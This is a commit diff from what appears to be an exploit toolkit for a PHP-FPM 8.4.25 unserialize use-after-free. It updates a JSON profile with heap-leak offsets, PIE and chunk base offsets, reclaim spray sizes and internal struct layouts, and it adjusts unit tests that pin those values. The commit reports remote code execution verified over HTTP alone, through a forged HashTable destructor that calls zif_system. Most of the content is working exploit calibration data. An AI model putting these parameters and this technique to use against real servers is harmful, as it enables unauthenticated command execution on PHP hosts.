Skip to content

Commit 37b12f8

Browse files
committed
8.4.25: re-calibrate the FPM profile against this checkout's build
The leak geometry is per environment (compile-time prefix and checkout paths shift the heap), and the shipped 8.4.25 profile had been calibrated on a different machine. Re-ran the HTTP-only calibrate against this repo's own php-8.4.25 build: draft extracted from the binary, phase-1 geometry (chunk_ptr_off=0x87e8, PIE pointer @leak+0x17668), reclaim candidate 0x81000/0xfe8, and a uid=1000 RCE proof recorded in the profile (verifier out/calib8425). The two tests that pinned the old reference values follow the recalibrated profile. Also removed the draft 7.2.34 profile: the stale struct arms (level=1) but lives in a recycled small-bin slot (d_off=0x5fc58) that no consume shape reclaims - an 8K-class spray of 48 fields per request never lands on it - so 7.2 stays a session-file plant target, as documented.
1 parent 370c4ee commit 37b12f8

2 files changed

Lines changed: 113 additions & 15 deletions

File tree

‎profiles/8.4.25-fpm.json‎

Lines changed: 107 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -19,39 +19,70 @@
1919
"bg_unserialize_level_off": 880,
2020
"struct_size": 8216,
2121
"reclaim_pads": [
22+
4096,
2223
4096,
2324
4096
2425
],
25-
"reclaim_size": 12288,
26+
"reclaim_size": 16384,
2627
"oracle": "/proc/<pid>/mem (local lab)",
2728
"no_oracle": {
2829
"reclaim_pads": [
30+
4096,
2931
4096,
3032
4096
3133
],
3234
"reclaim_size": 16384,
3335
"candidates": [
3436
{
35-
"d_off": "0x7f000",
37+
"d_off": "0x81000",
3638
"k": "0xfe8"
3739
}
3840
],
39-
"bases": "stable one-slot geometry: d_off=0x7f000, k=0xfe8; recalibrate if the allocator layout changes"
41+
"bases": "chunk from the 2MB-aligned leaked pointer, PIE base validated with a remote endgame; both stable for the FPM master lifetime"
4042
},
4143
"leak": {
4244
"arm_path": "/bigvar.php",
4345
"pads": [
4446
32768,
4547
16384
4648
],
47-
"size": 16384,
49+
"size": 32768,
4850
"header_content_off": "0x17e8",
49-
"read_len": "0x15810",
50-
"chunk_ptr_off": "0x77f8",
51-
"chunk_base_off": "0x8b000",
52-
"pie_ptr_off": "0x157e8",
53-
"pie_base_off": "0x4e9fc7",
54-
"bases": "leaked over HTTP from a stale short-session string OOB read"
51+
"read_len": "0x1c000",
52+
"chunk_ptr_off": "0x87e8",
53+
"chunk_base_off": "0x8f000",
54+
"pie_ptr_off": "0x17668",
55+
"pie_base_off": "0x4e80aa",
56+
"bases": "discovered over HTTP with the calibrate command (no /proc access)"
57+
},
58+
"growth": {
59+
"leak": {
60+
"arm_path": "/bigvar.php",
61+
"pads": [
62+
32768,
63+
16384
64+
],
65+
"size": 16384,
66+
"header_content_off": "0x17e8",
67+
"read_len": "0x1c000",
68+
"chunk_ptr_off": "0xa3e8",
69+
"chunk_base_off": "0x96000",
70+
"pie_ptr_off": "0x8b88",
71+
"pie_base_off": "0x4e886a",
72+
"bases": "discovered over HTTP with the calibrate command (no /proc access)"
73+
},
74+
"candidates": [
75+
{
76+
"d_off": "0x81000",
77+
"k": "0xfe8"
78+
}
79+
],
80+
"reclaim_pads": [
81+
4096,
82+
4096,
83+
4096
84+
],
85+
"reclaim_size": 16384
5586
}
5687
},
5788
"stages": {},
@@ -61,6 +92,70 @@
6192
"session_upload_progress": "On",
6293
"workers": 2
6394
},
64-
"status": "RCE verified in the nginx+FPM lab: post-RINIT OOM leaves BG(unserialize) stale (level=1), the pre-RINIT rfc1867 session_start of a follow-up multipart reuses the freed struct, and two 4 KB pads + a 16 KB big field cover d at 0x7f000. The HTTP stale-string leak recovers chunk/PIE with the 8.4.25 PIE offset. The command runs and the consumer worker aborts afterwards; FPM respawns it.",
65-
"oom_mb": 4
95+
"status": "RCE verified over HTTP only (no /proc access): the stale-string leak recovered chunk=0x7f8247e00000 and the PIE base 0x55d33ce00000 (leak+0x17668 -> 0x4e80aa); the primitive at 0x81000/0xfe8 was observable through app.php and the forged HashTable destructor executed zif_system (proof: out/out/calib8425).",
96+
"oom_mb": 4,
97+
"layout": {
98+
"unserialize_data": {
99+
"last": 0,
100+
"first_dtor": 8,
101+
"last_dtor": 16,
102+
"allowed_classes": 24,
103+
"ref_props": 32,
104+
"cur_depth": 40,
105+
"max_depth": 48,
106+
"entries": 56,
107+
"size": 8216
108+
},
109+
"var_entries": {
110+
"used_slots": 0,
111+
"next": 8,
112+
"data": 16,
113+
"max": 1018
114+
},
115+
"zval": {
116+
"value": 0,
117+
"type_info": 8,
118+
"context": 12,
119+
"size": 16
120+
},
121+
"zend_array": {
122+
"gc": 0,
123+
"flags": 8,
124+
"nTableMask": 12,
125+
"arData": 16,
126+
"nNumUsed": 24,
127+
"nNumOfElements": 28,
128+
"nTableSize": 32,
129+
"pDestructor": 48
130+
},
131+
"zend_reference": {
132+
"gc": 0,
133+
"val": 8,
134+
"val_type_info": 16,
135+
"sources": 24
136+
},
137+
"zend_string": {
138+
"gc": 0,
139+
"h": 8,
140+
"len": 16,
141+
"val": 24
142+
},
143+
"zend_execute_data": {
144+
"opline": 0,
145+
"call": 8,
146+
"return_value": 16,
147+
"func": 24,
148+
"num_args": 44,
149+
"arg1": 80
150+
},
151+
"bucket": {
152+
"val": 0,
153+
"h": 16,
154+
"key": 24
155+
},
156+
"bg": {
157+
"unserialize_data": 872,
158+
"unserialize_level": 880
159+
}
160+
}
66161
}

‎tests/test_fpm.py‎

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -66,9 +66,12 @@ def test_leak_geometry(self):
6666
self.assertEqual(g["header_content_off"] % 8, 0)
6767

6868
def test_leak_geometry_8425_pie_offset(self):
69+
# the profile was re-calibrated against this checkout's own build:
70+
# pins the shipped reference values, which is what the leak fallback
71+
# trusts when the target has no local calibration yet
6972
g = fpm._leak_geometry("8.4.25")
7073
self.assertIsNotNone(g)
71-
self.assertEqual(g["pie_base_off"], 0x4E9FC7)
74+
self.assertEqual(g["pie_base_off"], 0x4E80AA)
7275
self.assertEqual(g["pads"], [32768, 16384])
7376

7477

@@ -262,9 +265,9 @@ def test_fpm_8425_profile_is_rce_verified(self):
262265
self.assertTrue(profile["verified"])
263266
self.assertEqual(profile["fixed_in"], "8.4.27")
264267
self.assertEqual(profile["libphp"]["zif_system"], "0x386460")
265-
self.assertEqual(profile["fpm"]["reclaim_pads"], [4096, 4096])
268+
self.assertEqual(profile["fpm"]["reclaim_pads"], [4096, 4096, 4096])
266269
self.assertEqual(profile["fpm"]["no_oracle"]["candidates"],
267-
[{"d_off": "0x7f000", "k": "0xfe8"}])
270+
[{"d_off": "0x81000", "k": "0xfe8"}])
268271

269272
def test_fpm_profile_validates_against_schema(self):
270273
try:

0 commit comments

Comments
 (0)